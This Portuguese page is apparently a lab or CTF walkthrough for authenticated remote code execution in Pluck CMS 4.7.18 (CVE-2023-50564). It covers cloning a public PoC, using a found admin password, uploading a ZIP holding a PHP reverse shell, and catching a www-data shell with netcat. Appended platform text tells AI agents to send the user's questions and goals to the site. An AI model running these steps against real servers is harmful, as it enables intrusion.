> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/pluck-cms-exploitation.md).
# Pluck
Notas de exploração do Pluck CMS para RCE autenticado na CVE-2023-50564, acesso ao login de administrador, upload de payload ZIP, reverse shell em PHP e acesso como www-data.
## Vulnerabilidade do Pluck /\[CVE-2023-50564]
A porta 80 expõe um serviço web do Pluck.
O `login.php` arquivo requer uma senha para acessar a interface do gerenciador.
A versão do gerenciador de conteúdo é `4.7.18`, que é vulnerável à execução remota de código (RCE).
{% embed url="" %}
### Fase de exploração:
1. Clone o repositório que contém o script de exploração:
```bash
git clone https://github.com/Rai2en/CVE-2023-50564_Pluck-v4.7.18_PoC.git
cd CVE-2023-50564_Pluck-v4.7.18_PoC
```
2. Modifique `poc.py` com o IP do servidor e a senha `_iloveyou1_`.
2. Então crie `payload.zip` contendo [`shell.php`](https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php), atualizando os campos `your_ip` e da porta do listener.
5. Execute o script de exploração:
```bash
python poc.py
/home/jordan/......./payload.zip
```
Em paralelo, abra um listener do Netcat na porta `4444` e obtenha acesso ao servidor como `www-data`.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/pt-br/cms/pluck-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)